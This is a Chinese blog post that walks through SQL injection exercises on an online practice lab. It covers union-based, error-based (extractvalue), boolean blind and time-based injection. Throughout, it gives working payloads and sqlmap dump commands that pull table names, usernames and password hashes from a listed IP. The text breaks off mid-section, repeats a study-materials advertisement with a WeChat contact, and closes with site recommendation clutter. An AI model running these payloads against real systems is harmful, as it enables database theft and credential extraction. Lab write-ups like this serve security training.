渗透测试-SQL注入检测_sql注入 在线检测，狂刷200道数据结构与算法

最新推荐文章于 2024-05-19 13:01:37 发布
最新推荐文章于 2024-05-19 13:01:37 发布
阅读量772 收藏 8
点赞数 9
分类专栏： 2024年程序员学习 文章标签： sql 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_84424649/article/details/137895792
版权

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以添加V获取：vip204888 （备注网络安全）
img

正文

| ’ or ‘1’ = ‘1’ ; - - | ’ ) or ‘1’ = ‘1’ ; - - | 永真，返回所有行 |
| ’ and ‘1’ = ‘2’ ; - - + | ’ ) and ‘1’ = ‘2’ ; - - + | 永假，返回空 |
| and 1 = 2 # | ) and 1 = 2 # | 永假，返回空 |

Union回显

理论基础

【HTTP头部详解】

  1. User-Agent：使得服务器能够识别客户使用的操作系统，游览器版本等。
  2. Cookie：网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据。
  3. X-Forwarded-For：它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。
  4. Rerferer：浏览器向 WEB 服务器表明自己是从哪个页面链接过来的。
  5. Host：访问的WEB服务器的域名/IP 地址和端口号。

基本上都是服务器需要保存以上信息时，但没有过滤就直接存入数据库中就可能会导致HTTP头注入。

【Union联合查询】

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

注意：

  1. UNION 内部的 SELECT 语句必须拥有相同数量的列。
  2. 列也必须拥有相似的数据类型。
  3. 同时，每条 SELECT 语句中的列的顺序必须相同。

SQL UNION 语法

SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2

注释：默认地，UNION 操作符选取不同的值。如果允许重复的值，请使用 UNION ALL。

【例子】下面的例子中使用的原始表：
Employees_China:在这里插入图片描述

攻击过程

【靶机环境】墨者学院在线靶场
在这里插入图片描述在这里插入图片描述在这里插入图片描述
【注入点测试】

设置网页代理，进入墨者的任性网页，打开BurpSuite抓包，右键发送给repeater：在这里插入图片描述自己填入X-Forwarded-For，然后判断是否可注入：
在这里插入图片描述在这里插入图片描述

【判断字段数】

接着使用order by 判断后台SQL查询语句的字段(表)的数量，最后发现是4：
在这里插入图片描述在这里插入图片描述

【查询出表名】

然后通过union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())可知表名为comment,flag,goods,user：
在这里插入图片描述

【查询出列名】

接着通过union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='flag')可知列名为id,flag：
在这里插入图片描述

【查询出数据】

最后通过union select 1,2,3,(select group_concat(flag) from flag)可得flag的数值bd631cfd729bdbe4336455f659c0d2d5：

在这里插入图片描述
返回初始页面，填入到flag处获取最终key：
在这里插入图片描述
在这里插入图片描述

报错盲注

理论基础

报错注入：extractvalue、updatexml报错原理

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数：extractvalue、updatexml

名称描述
ExtractValue()使用XPath表示法从XML字符串中提取值
updatexml()返回替换的XML片段

通过这两个函数可以完成报错注入。

【extractvalue函数】

ExtractValue(xml_frag, xpath_expr)

ExtractValue()接受两个字符串参数：

  1. 第一个参数可以传入目标xml文档；
  2. 第二个参数是用Xpath路径法表示的查找路径。

例如：SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 就是寻找前一段xml文档内容中的a节点下的b节点，这里如果Xpath格式语法书写错误的话，就会报错。这里就是利用这个特性来获得我们想要知道的内容。
在这里插入图片描述
我们可以利用concat函数将想要获得的数据库内容拼接到第二个参数中，报错时作为内容输出。
在这里插入图片描述
详细解释

extractvalue() :对XML文档进行查询的函数。

其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样。

语法：extractvalue(目标xml文档，xml路径)

第二个参数 xml中的位置是可操作的地方，xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式，如果我们写入其他格式，就会报错，并且会返回我们写入的非法格式内容，而这个非法的内容就是我们想要查询的内容。

【例1】正常查询

select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))

第二个参数的位置格式为 /xxx/xx/xx/xx ,即使查询不到也不会报错。
在这里插入图片描述
使用concat()拼接 ‘ / ‘ 效果相同：

   select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘/’,(select database()))))

在这里插入图片描述这里在’anything’中查询不到 位置是 /database()的内容，但也没有语法错误，不会报错，下面故意写入语法错误：

 select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

在这里插入图片描述可以看出，以~开头的内容不是xml格式的语法，报错，但是会显示无法识别的内容是什么，这样就达到了目的。

有一点需要注意，extractvalue()能查询字符串的最大长度为32，就是说如果我们想要的结果超过32，就需要用substring()函数截取，一次最多查看32位。

这里查询前5位示意:

 select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))

在这里插入图片描述
【updatexml函数】

UpdateXML(xml_target, xpath_expr, new_xml)
  1. xml_target:： 需要操作的xml片段
  2. xpath_expr： 需要更新的xml路径(Xpath格式)
  3. new_xml： 更新后的内容

此函数用来更新选定XML片段的内容，将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ，然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

如果未xpath_expr找到表达式匹配 ，或者找到多个匹配项，则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。使用方式如下：

mysql> SELECT
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
    ->   UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5
    -> \G


\*\*\*\*\*\*\*\*\*\*\*结果\*\*\*\*\*\*\*\*\*\*\*\*\*\*
val1: <e>fff</e>
val2: <a><b>ccc</b><d></d></a>
val3: <a><e>fff</e><d></d></a>
val4: <a><b>ccc</b><e>fff</e></a>
val5: <a><d></d><b>ccc</b><d></d></a>

这里和上面的extractvalue函数一样，当Xpath路径语法错误时，就会报错，报错内容含有错误的路径内容：
在这里插入图片描述

攻击过程

【靶场环境】

墨者学院在线靶场
在这里插入图片描述在这里插入图片描述在这里插入图片描述
【注入点测试】

  1. 判断是否存在注入点
    在这里插入图片描述
  2. 尝试注入Order by语句，确定为SQL盲注：
    在这里插入图片描述
    在这里插入图片描述

【解释】此处使用%23是注释字符“#”的URL转码！在浏览器URL中不能直接输入“#”这样的特殊字符！！若使用BurpSuite构造Payload则可以直接使用“#”，因为BP会自动进行转码！同时我们还可以使用注释“--+”来替换“#”，其中“+”是空格的意思，可以输入“-- 任意英文字符”验证。

在这里插入图片描述
来看看用“空格+任意字符”替代加号形成注释：
在这里插入图片描述
【SQL手工盲注】

言归正传，既然知道是SQL盲注，我们就需要用extractvalue函数来构造报错回显。

  1. 尝试爆出当前用户名称：' and extractvalue(1,concat(0x7e,(select user())))--+
    在这里插入图片描述
  2. 爆出当前数据库名称：' and extractvalue(1,concat(0x7e,(select database()))) %23
    在这里插入图片描述
  3. 爆出当前数据库中第一个表(加了limit 0,1)的名称：' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'stormgroup' limit 0,1)))--+
    在这里插入图片描述
  4. 爆出当前表的字段的名称：' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'stormgroup' and table_name = 'member')))--+
    在这里插入图片描述
  5. 爆出用户名name字段值：' and extractvalue(1,concat(0x7e,(select name from member limit 1,1)))--+
    在这里插入图片描述
  6. 爆出用户密码password字段值：' and extractvalue(1,concat(0x7e,(select password from member limit 1,1)))--+
    在这里插入图片描述
  7. 爆到这里有个坑点，由于密码是32位的，且extractvalue()能查询字符串的最大长度为32位。然而此处“~”符号占用了1位,所以显示出来的密码只有31位。果然直接拿这个密码去MD5解密，直接解释失败：
    在这里插入图片描述
  8. 根据题目提示，要用到substr()函数，所以直接把被吞的最后一位单独截出来：' and extractvalue(1,concat(0x7e,(select substr(password,32,1) from member limit 1,1)))--+
    在这里插入图片描述
  9. 将得到的最后一位密码与之前31位密码拼接，进入MD5解密：
    在这里插入图片描述
  10. 返回网站登录页进行登录，登录成功，拿到Key，攻击结束：
    在这里插入图片描述

布尔盲注

理论基础

布尔盲注参考博客：https://www.jb51.net/article/93445.htm

攻击过程

【靶场环境】

墨者学院在线靶场
在这里插入图片描述在这里插入图片描述在这里插入图片描述

【 注入点测试】

  1. 测试PayLoad：http://219.153.49.228:48862/new_list.php?id=1'
    在这里插入图片描述
  2. 测试PayLoad：http://219.153.49.228:48862/new_list.php?id=1' and 1=1
    在这里插入图片描述
  3. 测试PayLoad：http://219.153.49.228:48862/new_list.php?id=1 and 1=1
    在这里插入图片描述

从上面可以看到，输入的语句如果符合SQL语法要求，页面就会显示内容(同时显示的内容都是一样的)，否则不显示任何内容。这种情况下页面上的输出对于我们来说是完全没有用的，包括SQL执行出错的信息都不会在页面上显示。此时想通过执行SQL语句然后在页面上显示SQL执行之后返回的信息完全是不可能的。这就是一个典型的SQL布尔盲注，而且可以看出是数字型的SQL注入。

【手工盲注测试】

  1. 尝试使用extractvalue()函数回显报错：
    http://219.153.49.228:48862/new_list.php?id=1 and extractvalue(1,concat(0x7e,(select 20user())))
    在这里插入图片描述
  2. 使用length()函数猜测数据库名称的长度：
    （1） http://219.153.49.228:48862/new_list.php?id=1 and length(database())>9
    在这里插入图片描述
    （2） http://219.153.49.228:48862/new_list.php?id=1 and length(database())>10
    在这里插入图片描述
  3. 使用substr()函数逐一猜解数据库名称各位字母：
    （1）http://219.153.49.228:48862/new_list.php?id=1 and ascii(substr((select database()),1,1))>97
    在这里插入图片描述（2）http://219.153.49.228:48862/new_list.php?id=1 and ascii(substr((select database()),1,1))>120
    在这里插入图片描述
    （3）http://219.153.49.228:48862/new_list.php?id=1 and ascii(substr((select database()),1,1))=115
    在这里插入图片描述
    说明数据库名的第一个字母的ASCII码值为115(字母’s’)。后面9位字母依次类推，最后确定数据库名字为stormgroup。
  4. 爆出数据库stormgroup中的表名（得到两个表member和notice)：
    ascii(substr((select table_name from information_schema.tables where table_schema='stormgroup' limit 1,1),1,1))
  5. 爆出表中列名（得到menber表中列名name，password，status)：
    ascii(substr((select column_name from information_schema.columns where table_name='获取到的表名' and table_schema='获取到的数据库名' limit 0,1),1,1))
  6. 爆出某列的具体数据：and ascii(substr((select concat(name) from stormgroup.member limit 1,1),1,1))

【SQLMap】

以上手工注入太麻烦了，可以使用SQLMap自动化工具进行注入。

  1. 跑出数据库库名，获取到的数据库名是stormgroup
    sqlmap -u http://219.153.49.228:41361/new_list.php?id=1 –dbs
    在这里插入图片描述
  2. 跑表名，获取到的表是member和notice
    sqlmap -u http://219.153.49.228:41361/new_list.php?id=1 -d stormgroup –tables
    在这里插入图片描述
  3. 直接跑出数据表member的内容
    sqlmap -u http://219.153.49.228:41361/new_list.php?id=1 -d stormgroup -t member --dump
    在这里插入图片描述
  4. 进行MD5解密，并拿到密码成功登录系统，获得Key：
    在这里插入图片描述

时间盲注

理论基础

【时间盲注】

  • 因为页面不会回显任何正确或者错误的信息，所以我们通过时间来判断是否存在时间盲注。
  • 意思就是说，根据我们的输入，来延时请求数据，观察请求时间是否存在延长，如果存在即是时间盲注。
  • 说白了就是让页面请求根据我们输入的延时时间来延时响应。

【函数解释】

  1. database()： 获取数据库名称；
  2. substr()：截取字符串函数，语法——substr(字符串，起始位置，截取长度)；
  3. ascii()：返回字符串str的最左面字符的ASCII代码值；
  4. if(语句1，语句2，语句3) ：如果语句1正确执行语句2，否则执行语句3。

攻击过程

【靶场环境】墨者学院在线靶场
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
【注入点测试】

依次测试以下PayLoad：

（1）http://219.153.49.228:44660/flag.php?type=1' and sleep(5) --+
（2）http://219.153.49.228:44660/flag.php?type=1 and sleep(5) --+
（3）http://219.153.49.228:44660/flag.php?type=1 and sleep(5) #
（4）http://219.153.49.228:44660/flag.php?type=1 and if(1=0,1,sleep(5)) --

经过测试发现，除了(1)不会延迟5秒后显示页面，(2)(3)(4)均会延迟5秒后显示页面，故可判断存在时间盲注！！
在这里插入图片描述
在这里插入图片描述
【手工盲注测试】

1、猜解数据库名称的长度：

  http://ip/flag.php?type=1 and if(length(database())=12,sleep(5),1) --+

发现当length=12时发生时间注入：
在这里插入图片描述2、猜解数据库名称：

  http://ip/flag.php?type=1 and if(ascii(substr(database(),1,1))=112,sleep(5),1) --+

逐一字母进行猜解，发现第一位为"P"(ASCII码为112)，由此法最终获得数据库名称为“pentesterlab”：
在这里插入图片描述3、猜解表的长度：



## 学习路线：

这个方向初期比较容易入门一些，掌握一些基本技术，拿起各种现成的工具就可以开黑了。不过，要想从脚本小子变成黑客大神，这个方向越往后，需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容：  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/7a04c5d629f1415a9e35662316578e07.png#pic_center)





**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）**
![img](https://img-blog.csdnimg.cn/img_convert/68dcf9e4795095ccd41df51cff29da91.png)

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**

)3、**猜解表的长度：**

学习路线：

这个方向初期比较容易入门一些，掌握一些基本技术，拿起各种现成的工具就可以开黑了。不过，要想从脚本小子变成黑客大神，这个方向越往后，需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容：
在这里插入图片描述

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）
[外链图片转存中…(img-yWpglbvR-1713374407973)]

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

2401_84424649
关注
  • 9
    点赞
  • 踩
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
java开源包1
06-28
使用redis作缓存时，支持list类型的高级数据结构，更适合论坛帖子列表这种类型的数据 5. 支持混合使用redis缓存和memcached缓存。可以将列表数据缓存到redis中，其他kv结构数据继续缓存到memcached 6. 支持redis的...
【愚公系列】2024年02月 《网络安全应急管理与技术实践》 012-网络安全应急技术与实践（Web层-SQL注入）
热门推荐
时光隧道
02-09 3万+
Web层攻击分析与应急响应演练是指对Web应用程序进行攻击分析，发现潜在的漏洞和安全威胁，并在发生安全事件时能够迅速做出应急响应措施的过程。进行Web层攻击分析是为了了解Web应用程序存在的弱点和漏洞，从而提前对其进行修复和加固。攻击分析可以包括对Web应用程序进行安全扫描、漏洞评估和渗透测试等活动，通过模拟真实攻击场景，发现可能被黑客利用的漏洞，如SQL注入、跨站点脚本攻击（XSS）、跨站点请求伪造（CSRF）等。攻击分析的目的是为了及早发现和修复潜在的安全问题，确保Web应用程序的安全性。
渗透测试-注入攻击专题
aming小老弟
03-11 1927
sql手工注入 @apache+php+Mysql 正则注入 0x01 Mysql 手工注入 1.1 联合注入 ?id=1' order by 4--+ ?id=0' union select 1,2,3,database()--+ ?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+ ?id=0' union sele
2022 年不错的 SQL 注入 (SQLi) 检测工具
网络技术联盟站
02-07 3639
SQL 注入 (SQLi) 是一种可以访问敏感或私有数据的隐蔽攻击形式，它们最早是在上世纪末被发现的，尽管它们的年龄很大，但它们经常被用作黑客工具包中的一种有效技术。今天，给大家介绍一下顶级 SQLi 检测工具。 顶级 SQLi 检测工具 有很多 SQLi 检测工具，其中许多是开源的，可在 GitHub 上找到，除了专门的 SQLi 检测工具外，还有更大的套件和专有软件包将 SQLi 作为其整体漏洞检测功能的一部分。 Netsparker Netsparker是一个 Web 漏洞管理解决方案，其中包括 SQ
kali渗透学习-手动sql注入检测（一）
weixin_43239236的博客
01-23 518
SQL注入原理：通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。 ##服务端程序将用户输入参数作为查询条件，直接拼接SQL语句，并将查询结果返回给客户端浏览器 例如在用户登录判断 SELECT * FROM users WHERE user=‘uname' AND password=‘pass‘ SELECT * FROM users WHERE user=‘name' AND password='' OR ''='‘ 【OR：逻辑运算符，（p
Metasploit SQL注入漏洞渗透测试实战
悦分享
12-07 991
现代化Web应用程序在设计时都会将代码与数据进行分离，这些数据会独立保存在服务器中。当数据量较大的时候，需要使用一种特殊的数据管理程序，也就是常说的数据库。目前比较常用的数据库软件有MySQL、SQLServer、Access等，不过它们的操作都要遵循SQL（Structured Query Language，结构化查询语言）标准，但是不同的产品之间存在着一定的差别。SQL注入攻击是通过操作输入来修改SQL语句，以达到执行代码对Web服务器进行攻击的方式。
SQL注入攻击与防御
qq_49314076的博客
12-19 3851
SQL注入攻击与防御
web项目防御mysql注入_Web安全 - SQL注入
weixin_39534208的博客
01-19 167
SQL Injection一、原理1. 什么是数据库？数据库就是按照数据结构来组织、存储和管理数据的建立在计算机存储设备上的仓库。2. 什么是SQL？一种特殊目的的编程语言，是一种数据库查询和程序设计语言，用于存取数据以及查询、更新和管理数据库系统。常见数据库比如 Access、SQL Server、MySQL、Oracle、Sybase、DB2以及其他数据库系统。3. 什么是SQL注入？SQL注...
SQL注入漏洞检测
Kali与编程
12-10 1053
SQL注入漏洞是一种常见的安全漏洞，渗透测试工程师需要掌握SQL注入漏洞的检测技术，以便在测试中及时发现和利用漏洞。常见的注入点包括GET参数、POST参数、Cookie、HTTP头部信息和用户名密码等，常见的注入方式包括基于错误的注入、基于联合查询的注入、基于布尔盲注的注入、基于时间盲注的注入和基于报错盲注的注入等。本文将从渗透测试工程师的角度，详细介绍SQL注入漏洞的检测基础，包括常见的注入点、注入方式、手工注入和自动化注入等。常见的SQL注入技术包括基于错误的注入、基于时间的注入、联合查询注入等。
渗透攻防Web篇-SQL注入攻击中级
人人为我，我为人人
12-29 604
前言找到SQL注入漏洞后，我们可以用它来干什么呢?那么本篇文章给大家带来的就是SQL注入漏洞利用技术，现在是时候让我们去体验一下漏洞利用的乐趣了。 目录 第三节 利用SQL注入 3.1、识别数据库 3.2、UNION语句提取数据 3.3、枚举数据库 3.4、窃取哈希口令 3.5、获取WebShell 第四节 SQL盲注利用 4.1、初识SQL盲注 4.2、SQL盲注入技术-基于布尔 4.3、SQL盲注入技术-基于时间 4.4、我们的好朋友-Python 正文 第三节 利用SQL注.
JAVA上百实例源码以及开源项目源代码
09-17
　Java数据压缩与传输实例，可以学习一下实例化套按字、得到文件输入流、压缩输入流、文件输出流、实例化缓冲区、写入数据到文件、关闭输入流、关闭套接字关闭输出流、输出错误信息等Java编程小技巧。 Java数组倒置...
java开源包10
06-28
使用redis作缓存时，支持list类型的高级数据结构，更适合论坛帖子列表这种类型的数据 5. 支持混合使用redis缓存和memcached缓存。可以将列表数据缓存到redis中，其他kv结构数据继续缓存到memcached 6. 支持redis的...
JAVA上百实例源码以及开源项目
01-03
　Java数据压缩与传输实例，可以学习一下实例化套按字、得到文件输入流、压缩输入流、文件输出流、实例化缓冲区、写入数据到文件、关闭输入流、关闭套接字关闭输出流、输出错误信息等Java编程小技巧。 Java数组倒置...
Java资源包01
08-31
使用redis作缓存时，支持list类型的高级数据结构，更适合论坛帖子列表这种类型的数据 5. 支持混合使用redis缓存和memcached缓存。可以将列表数据缓存到redis中，其他kv结构数据继续缓存到memcached 6. 支持redis的...
数据库SQL编写规范-SQL书写规范整理（SQL语句书写规范全解-Word原件）
xx_123321456的博客
05-14 305
​​​​​​工作安排任务书，可行性分析报告，立项申请审批表，产品需求规格说明书，需求调研计划，用户需求调查单，用户需求说明书，概要设计说明书，技术解决方案，数据库设计说明书，详细设计说明书，单元测试报告，总体测试计划，单元测试计划，产品集成计划，集成测试报告，集成测试计划，系统测试报告，产品交接验收单，验收报告，验收测试报告，压力测试报告，项目总结报告，立项结项审批表，成本估算表，项目计划，项目周报月报，风险管理计划，质量保证措施，项目甘特图，项目管理工具，操作手册，接口设计文档，软件实施方案，运维方案，安
父子级分类统计分类下数量sql
最新发布
pscool的博客
05-19 72
【代码】父子级分类统计分类下数量sql。
使用DBeaver的第2天-使用sql导入数据
2301_78094435的博客
05-14 249
但是如果你执行失败了，多半可能是因为本地没有部署mysql，记住只有本地有mysql才可以执行脚本，否则你只能粘贴脚本，到sql控制台执行了。特别注意，较长的脚本粘贴的话一定会闪退，所以只有安装mysql在本地才能解决这个问题；首先位置一定要放在库上（实例），放在表上可不好使用哦。使用sql导入数据这块我会仔细的说一下。然后点击工具-再点击执行脚本。
小白也会SQL：大模型改变交互方式（中）
鲁班模锤
05-17 748
在人工智能与自然语言处理交汇点，有一种技术正悄然改变与数据交互的方式——将日常语言转化为精准SQL查询。这一“text-to-sql”转换任务，使非专业人士也能轻松驾驭复杂的数据库操作，极大地拓宽了数据应用的边界。
java sql注入 正则_Java-java程序防止sql注入的方法
05-25
Java程序防止SQL注入的方法有以下几种： 1. PreparedStatement：使用PreparedStatement代替Statement，PreparedStatement使用占位符（?）来表示参数，这样可以有效防止SQL注入攻击。 2. 使用Java的正则表达式对...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值